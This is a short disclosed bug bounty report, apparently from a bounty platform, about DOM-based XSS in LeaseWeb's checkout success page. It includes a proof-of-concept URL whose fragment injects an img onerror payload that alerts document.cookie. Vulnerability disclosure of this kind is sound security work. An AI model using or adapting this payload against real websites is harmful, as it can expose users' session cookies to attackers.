LeaseWeb · Report #105688
DOM Based XSS in Checkout
Validstatus
$100bounty
1upvotes
26 Feb 2016disclosed
How it was found
Hey,
This works in all browsers I suppose and regardless if the user is currently authenticated or not. Simply go over to : [https://www.leaseweb.com/checkout-success/16893#"><img src=x onerror=alert(document.cookie)>](https://www.leaseweb.com/checkout-success/16893#"><img src=x onerror=alert(document.cookie)>).
Attached herewith is the screenshot.
Thanks!